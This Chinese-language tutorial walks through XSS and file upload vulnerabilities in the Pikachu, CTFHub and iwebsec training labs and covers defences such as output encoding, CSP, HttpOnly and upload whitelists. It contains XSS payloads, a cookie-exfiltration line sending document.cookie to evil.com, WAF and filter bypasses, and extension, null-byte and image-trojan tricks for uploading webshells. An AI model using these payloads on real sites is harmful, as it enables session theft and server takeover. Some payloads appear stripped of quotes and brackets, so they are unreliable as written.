
XSS跨站脚本和文件上传漏洞这两个词在安全圈里几乎天天被提起。一个是前端世界里最经典的“注入”一个是从上传口子直通服务器的“后门”如果只学一个最多算入门了一半两个串起来看你才能理解Web应用安全的攻防全貌。先快速对齐一下概念XSSCross-Site Scripting跨站脚本是攻击者把恶意脚本“注入”到网页中让其他用户浏览器替攻击者执行代码文件上传漏洞则是网站对上传文件处理不严攻击者把一个可执行的Web脚本丢到了服务器目录里顺着这个文件整台服务器都能被拿下。这两个漏洞单独已经够危险组合在一起更是经常被用来做权限提升、会话劫持、钓鱼攻击。这篇内容我打算按CTF和靶场里最常见的场景来讲把皮卡丘靶场、CTFHub、iwebsec里面跟XSS和文件上传相关的关卡拆开揉碎每一步都讲清楚为什么这么做、绕过的时候脑子里应该怎么想最后落地到防御方案。适合正在学Web安全、刷靶场的新手也适合那些笔试面试前想系统捋一遍思路的朋友。1. 先搞清楚XSS到底在打什么1.1 XSS的本质浏览器把用户输入当成了代码XSS全称Cross-Site Scripting核心问题就一句话服务器把用户输入的内容原样返回给浏览器浏览器又傻乎乎地把它当成HTML或JavaScript来解析。很多新手一开始不理解为什么我提交一段scriptalert(1)/script弹窗就在自己浏览器里出现了。这其实是浏览器在“如实执行”服务器返回的HTML代码。服务器把这段字符串拼进页面返回浏览器解析HTML时看到script标签自然就执行。攻击者要做的事情就是找到一个网站会原样输出用户输入的地方把恶意脚本“塞”进页面里然后诱导别人访问这个页面。一旦受害者浏览器执行了脚本脚本就能拿到受害者在当前网站的会话Cookie、页面内容、键盘输入等敏感信息。这个漏洞真正危险的地方在于正常业务逻辑中搜索框、评论框、用户名、文章标题、URL参数这些处处都是人和程序交互的入口。任何一个地方没有做好转义和过滤都可能是XSS的切入点。我举个生活化的例子你开了一家小店门口挂了一块黑板上面写着“今日推荐青椒炒肉”。攻击者过来跟你说“你能不能把黑板上的字改成‘本店免费送鸡蛋’”你一听这也没什么就帮他改了。结果来店里的顾客看到“免费送鸡蛋”就进来问你说没有这回事顾客觉得你骗人扭头就走——你的信用就这么被耗掉了。XSS就是干这事的只不过被篡改的不是黑板而是网页内容受影响的是所有打开这个页面的用户。1.2 反射型、存储型、DOM型三种形态三个场景按XSS触发过程和代码存储位置通常分成三类。这三类的边界非常重要面试也经常考。反射型XSS非持久型XSS恶意脚本写在URL参数里服务器接收到请求后把参数内容直接反射到响应页面。攻击者需要把伪造链接发给受害者受害者点开链接脚本才在浏览器里执行一次。搜索框、关键字回显这些都是经典位置。皮卡丘靶场第一关就是这种。存储型XSS持久型XSS恶意脚本被完整保存到服务器数据库中之后任何用户浏览相关页面时脚本都会被加载执行。评论、留言板、昵称、个人签名这类功能最爱出问题。存储型危害远大于反射型因为攻击者不需要“点链接”这种交互动作脚本会自己扩散。DOM型XSS基于DOM的XSS这一类最容易被忽略因为它根本不经过服务器。页面里的JavaScript直接读取URL中的参数比如location.hash、document.URL等然后通过innerHTML、document.write这类操作把它写到页面里。整个过程服务器完全不知情因此WAF和服务器端过滤基本都拦不住。CTFHub专门有DOM XSS的题目iwebsec靶场里也有对应的关卡。为了更好理解我做了一张对比表类型脚本存储位置触发方式是否经过服务器危害等级反射型不存储URL中受害者点击恶意链接是回显在响应中中存储型服务器数据库任意用户访问受影响页面是从数据库读取高DOM型不存储纯前端处理受害者点击恶意链接否浏览器本地拼接中高1.3 DOM型XSS为什么说它是最难防御的盲区DOM型XSS难防就难防在服务器端看不到任何攻击流量。攻击者把payload放在URL的#号后面服务器连请求都不会发起日志里也没有记录。传统基于请求检测的WAF自然失效。你可以想象这样一个场景前端有一段代码从URL里读取参数然后把值塞进页面。var name new URLSearchParams(window.location.search).get(name); document.getElementById(welcome).innerHTML 你好 name;我输入?nameimg srcx onerroralert(document.cookie)这段代码里的innerHTML就会把img标签真正解析成DOM节点onerror事件触发JavaScript执行。这里没有经过任何服务端整个攻击流完成在浏览器本地。理解DOM XSS的关键在于代码审计时要关注innerHTML、outerHTML、document.write、eval、setTimeout、location、window.name这些“危险函数”他们就像是一扇扇没关的窗户。2. XSS实战复现从靶场到绕过2.1 皮卡丘靶场反射型XSS复现皮卡丘Pikachu靶场是学习Web漏洞的经典入门靶场它把XSS归类得很清楚。反射型XSS那一关打开页面就是一个很朴素的输入框提示你输入内容输入的内容会被回显在页面上。第一步先输入一个普通字符串比如test点提交观察URL变为了http://127.0.0.1/pikachu/vul/xss/xss_reflected.php?messagetest。注意这个message参数它就是被反射到页面的入口点。第二步输入scriptalert(1)/script点提交。页面弹出1。到这里你已经成功利用了一次反射型XSS。第三步试着输入scriptalert(document.cookie)/script弹出的就是当前域名的Cookie。如果攻击者能把这段代码放到一个精心构造的URL里发给受害者受害者点击后脚本就会把Cookie发送到攻击者指定的服务器scriptdocument.locationhttp://evil.com/cookie?datadocument.cookie/script第四步辅助验证。有些浏览器会拦截script标签的XSSChrome的XSS Auditor虽然已废弃但一些代理和扩展会做类似拦截所以实战中更多时候用img标签配合onerror事件img srcx onerroralert(1)当图片加载失败时onerror触发alert(1)。这种方式更小巧灵活很多WAF规则也主要针对script标签做过滤对img这类标签往往疏于防范。注意在靶场练习时不要使用攻击真实网站的payload一切都在本地靶场环境里操作。测试document.cookie弹窗纯粹为了理解脚本执行流程。在皮卡丘这个靶场里通过源码可以看到后端只是简单echo了输入内容没有做任何htmlspecialchars转义这正是反射型XSS产生的根本原因。2.2 CTFHub上的XSS入门CTFHub上Web方向的XSS题目分得很细包括反射型、存储型、DOM型、绕过等题型。以最简单的一道反射型XSS为例题目只提供一个输入框目标是触发alert弹窗。这种题目思路很笨但很实用先测反映再测过滤。输入的字符页面怎么显示的是原样显示在input标签的value属性里还是显示在HTML的文本节点里如果显示在input value这里那我输入scriptalert(1)/script双引号先把属性闭合再关闭标签后面就跟了一条新的HTML标签。如果直接输入scriptalert(1)/script没反应多半是过滤了script关键词。这时候看题目WAF规则尝试大小写混淆、用svg配合onload事件、用img srcx onerroralert(1)、甚至用实体编码和Unicode编码绕过。CTFHub的DOM型XSS题目会给你一段前端代码需要审计JavaScript找到污染点。常见套路是通过location.search、location.hash取值后拼接innerHTML然后搜索框中留出“施工中”之类的文字占位。实战里我建议先在浏览器开发者工具的Console里逐段测试确认payload最终拼进哪里再决定闭合方式。2.3 实战中的XSS绕过思路这里主要讲两类情况一种是宝塔面板等服务器端WAF的规则绕过一类是代码级的过滤绕过。先说宝塔宝塔面板的网站防火墙默认对常见的XSS、SQL注入规则做拦截但在某些配置下可以绕过。我实测过比较有效的方式标签选择script被拦截就换svg、img、body、video、marquee等可加载事件的标签。属性选择onerror被过滤就试onload、onfocus、onmouseover。需要用户交互的事件虽然利用条件多一条但绕过效果常常更好。编码绕级用HTML实体、JavaScript Unicode转义等方式编码payload。比如img src1 onerror#97;#108;#101;#114;#116;(1)其中开头的实体部分被浏览器解析时会把#97;还原成字母a但WAF如果没做一次性解码就拦不住。大小写混淆有些WAF规则是大小写敏感的ScRiPt老套路但偶尔还是能用。特殊字符抽插在关键词中间插入换行\n、Tab\t、空格或注释符/**/部分正则会被扰乱。代码级的过滤又是另一回事。后端的过滤手段无非三种黑名单、白名单、转义。黑名单是最容易绕过的因为总有人漏掉某个标签或事件白名单相对安全但实现复杂容易出bug转义用htmlspecialchars或htmlentities往往最稳前提是配置参数正确。绕过黑名单的关键就是“查漏补缺”。比如后端过滤了script、img、svg、onerror那你试试details open ontogglealert(1)这个标签冷门到连很多WAF规则能漏。防御角度永远不要用黑名单这是原则。2.4 XSS修复与防护真正的修复方案核心是“输出编码”和“输入校验”双管齐下。输出编码是XSS防御的核心中的核心。后端在渲染用户可控的数据时必须按上下文做编码。HTML标签上下文用htmlspecialchars即把、、、、转成HTML实体属性上下文要对引号做转义JavaScript上下文要做JS编码。PHP里可以这样写echo htmlspecialchars($userInput, ENT_QUOTES, UTF-8);ENT_QUOTES这个参数很关键它同时转义单引号和双引号。如果漏了单引号在单引号包裹的属性里照样可以闭合绕过。输入校验侧重范围批准比如用户名只允许字母数字下划线就用正则强行过滤掉其他字符。但输入校验不能作为唯一防线它只是减少攻击面真正拦截恶意payload还是要靠输出编码。前端侧设置Content-Security-Policy响应头也是一种纵深防御手段Content-Security-Policy: default-src self; script-src self这样即使payload被注入浏览器也会阻止执行第三方脚本或内联脚本。还有一点很多人容易忽略Cookie设置HttpOnly属性。HttpOnly标志能让JavaScript无法读取document.cookie即使XSS成功攻击者也无法通过XSS窃取会话Cookie。但这不意味着XSS就完全没用了攻击者还能做钓鱼、修改页面、模拟用户操作等事所以HttpOnly只是降低损失并不是根治方案。3. 文件上传漏洞一个文件壳子里的整条权限路3.1 文件上传漏洞的本质文件上传功能几乎每个Web站都要用头像、附件、商品图片、简历、文档。但服务器如果只关心“文件能不能被访问”不关心“文件被传上来后会不会被当作代码执行”漏洞就来了。文件上传漏洞的本质是攻击者上传了一个Web脚本文件且服务器把脚本文件放到了可执行目录同时URL可以直接访问到这个文件。这三个条件顺利凑齐攻击者就获得了在这个网站同权限下执行代码的能力也就是拿下一台服务器的一半。常见的利用场景上传webshell.php到网站根目录URL直接访问http://target/upload/webshell.php服务器解析PHP代码。上传.html文件里面包含恶意JavaScript结合存储型XSS进行钓鱼。上传.svg文件SVG本身就是XML格式里面能嵌JavaScript脚本绕过图片扩展名限制。我一直强调文件上传不是简单的“文件能不能传上去”的问题而是“传上去之后服务器拿它干什么”的问题。3.2 常见校验手段和绕过方案前端JavaScript校验绕过的门槛最低。通常是检查扩展名白名单比如只允许jpg/png/gif但只要绕过前端逻辑直接抓包改请求就能上传任意文件。这里我演示一下思路先用Burp Suite拦截上传请求把文件名从a.png改成a.phpContent-Type从image/png改成application/octet-stream直接放行很多时候后端根本没做二次校验。前端校验只是面子工程防不了攻击者。服务端校验里MIME类型校验是很容易骗过的一种。抓包把Content-Type改成image/png有的后端只检查这个字段就信了。扩展名黑名单校验则存在历史绕过问题php被过滤就上传php3、php4、php5、phtml、pht、phar老版本Apache和PHP配置不严谨时这些都能解析。asp被过滤就上传aspx、asa、cer、cdx。jsp被过滤就上传jspx、jspf。空字节截断是另一个经典思路。老版本PHP中a.php%00.jpg在文件系统保存时被截断为a.php但URL后缀又是.jpg从而绕过扩展名校验。PHP 5.3.4之后这个漏洞基本修复但考试和面试还是常问。图片马是绕过图片内容校验的最常用方法。用十六进制编辑器把一句话脚本追加到合法图片后面GIF89a ?php phpinfo(); ?服务器正常通过getimagesize()验证文件头时它看到的就是一个合法的GIF。在配合文件包含漏洞使用时图片马能做到“有图有码”完全绕过对文件内容的检查。3.3 CTFHub基础题目二文件上传突破CTFHub的“基础题目二文件上传突破”算是一道很典型的题。题目界面就是一个上传表单没有任何提示需要你手动探测。第一步先尝试上传一个正常的test.jpg文件观察返回信息。如果返回“上传成功”说明服务器对jpg是放行的。再上传test.php大概率弹出一句“文件类型不正确”之类的话。第二步用Burp Suite抓包把正常的test.jpg上传请求拦截下来修改文件名为test.phpContent-Type改成图片类型转发看服务器反应。如果上传成功那这道题就是单纯的前端校验或MIME类型校验属于基本操作。第三步如果test.php还是被拦说明服务端做了扩展名过滤。题目里经常有提示或源码泄露比如www.zip、index.php.bak这类备份文件下载源码审计后就能看到具体的过滤规则。常见的过滤代码if (in_array($ext, array(php, php3, php4, php5, phtml))) { die(not allowed); }这种黑名单过滤最怕大小写混淆和特殊文件名。试试test.pHp、test.phP有些服务器文件系统不区分大小写能直接命中解析。试试test.php.jpg在Apache2.x某些版本中会按从右往左找可识别扩展名最终解析为PHP。试试test.php.、test.php%20、test.php%00.jpg。思路就是穷举服务器解析端的“宽容”规则。第四步如果上传成功访问上传文件路径打开xxx/upload/test.phpPHP代码执行返回phpinfo()页面这道题就通关了。如果传的是图片马还要配合文件包含漏洞找包含点CTFHub的题目往往会把包含点藏在源码或者提示里。实操心得CTFHub这类平台的题目按“先探测后抓包再源码审计”的顺序走效率最高。上来直接盲试各种扩展名很浪费时间题目给的提示和源码备份文件一定要先看。3.4 文件上传漏洞的防御方案文件上传防御没有银弹但组合拳打好了攻击者的难度会提升好几个量级。扩展名白名单优先于黑名单只允许业务真正需要的格式。图片就允许jpg/jpeg/png/gif文档就允许pdf/doc/docx其余一律拒绝。MIME类型校验要做但不能作为唯一依据因为Content-Type是客户端可控的。文件内容校验用getimagesize()或finfo读取真实文件类型确保上传的文件内容确实匹配扩展名。对图片来说还可以用imagecreatefromjpeg()重新解码再重新编码这一步能直接杀死图片中嵌入的恶意代码但缺点是会改变图片原始数据有些业务接受不了。文件名重写服务端重新生成随机文件名不保存用户原始文件名彻底断了../路径穿越和冷门文件名的利用。目录权限与访问控制上传目录禁止执行脚本。Nginx中做如下配置location /upload/ { location ~* \.(php|php5|phtml)$ { deny all; } }Web层运行权限脚本执行用户权限尽量低不给写权限即使执行了脚本也不能轻易篡改其他文件。还有个很多人忽略的点上传后的文件要通过单独的静态域名访问主站域名和上传域名分离可以降低XSS与上传漏洞组合利用时的危害。4. 两个漏洞组合联动的现实意义4.1 为什么XSS经常和文件上传一起出现如果只学单点漏洞很容易陷入“漏洞只能单独利用”的误区。现实中我看到过很多攻击链就是XSS配合文件上传做出来的第一步攻击者利用存储型XSS在目标网站的评论区植入脚本。第二步脚本在受害者浏览器里悄悄向文件上传接口提交一个.html文件这个页面里嵌了钓鱼表单。第三步脚本再诱导受害者跳转到攻击者构造的恶意页面页面以目标网站的合法域名展示普通用户根本分辨不出站内还是站外。如果目标站点还同时存在文件上传的解析漏洞攻击者甚至能直接把Webshell传上去从XSS一路打到服务器控制权。两个漏洞组合在一起相当于“前端控制”和“后端控制”同时打通单一防御措施很难挡住这条链路。4.2 靶场之外的安全测试思路沉淀刷靶场练的是思路落到实际工作中一定要有方法论。我自己做XSS和文件上传测试时一般的思考顺序是这么几条信息收集阶段把所有用户可控的输入点列出来。URL参数、表单、JSON请求体、文件上传接口统统算一遍。这一步决定测试覆盖面。探测反射点在上传、输入数据的回显位置看数据被服务器原样返回还是被转义。测试样本用普通字符串加特殊字符比如test看返回页面的上下文。确认过滤规则把后端过滤当成一个黑箱喂不同payload观察行为判断是关键字过滤还是正则过滤还是编码处理。不管是什么准备好绕过方案。修复验证在本地环境或测试环境做修复验证确认payload被阻断、上传文件无法执行才算闭环。我一直觉得安全测试不只是找到漏洞那么简单能不能把漏洞的前因后果讲清楚才是考验功力的地方。一个优秀的测试报告应该写清楚漏洞URL、触发流程、利用影响、修复建议并且修复建议要可落地不是一句“做好输入校验”就完事。4.3 新手容易踩的坑最后说几个新手阶段我非常常见的错误都特别典型第一个坑是在真实站点上做XSS测试。新手学完反射型XSS手痒去某个真实网站上试payload。这不仅是法律风险还会给网站安全人员留一堆告警日志。练手请一定用皮卡丘、iwebsec、CTFHub、DVWA这类靶场。第二个坑是只跑payload不看源码。很多新手通关了CTFHub但说不出漏洞成因因为不会看源码。靶场价值就在于能对照源码理解漏洞本质只盲目提交payload等于练习肌肉记忆没有沉淀。第三个坑是把XSS和CSRF搞混。XSS是注入脚本CSRF是伪造请求。理解两者区别是面试必考基础一定要分清楚XSS攻击的是“浏览器对页面内容的信任”CSRF攻击的是“服务器对用户请求的信任”。第四个坑是忽视DOM型XSS。一部分新手刷完了反射型和存储型就觉得XSS全会了DOM型完全没概念。现在前后端分离越来越普遍大量渲染逻辑都搬到前端DOM XSS的占比其实在升高这块不能丢。第五个坑是上传绕过不结合解析环境。文件上传的绕过成功与否和Web服务器类型、版本、配置息息相关。同一个文件名在Apache上能解析在Nginx上可能就不执行。如果你在判断漏洞能不能利用时不考虑容器版本很容易得出错误结论。练题时多留意题目用的是哪些中间件这点对后续实战帮助很大。我个人在实际工作中的体会是漏洞利用的终点不是弹出一个alert而是形成一条可控的数据链路。XSS让你控制用户的浏览器文件上传让你控制执行环境两者配合起来才是一个完整的“从外到内”入侵路径。防御的时候也不能只堵一个口子要用输出编码、输入校验、内容安全策略、上传白名单、目录权限控制多层组合来拉高攻击成本。学安全最好的路径其实就是一个漏洞一个漏洞地在靶场里打把每条利用链背后的原理吃透再回到工作中指导代码审计和防御建设。这条路没什么捷径但每一步都扎实。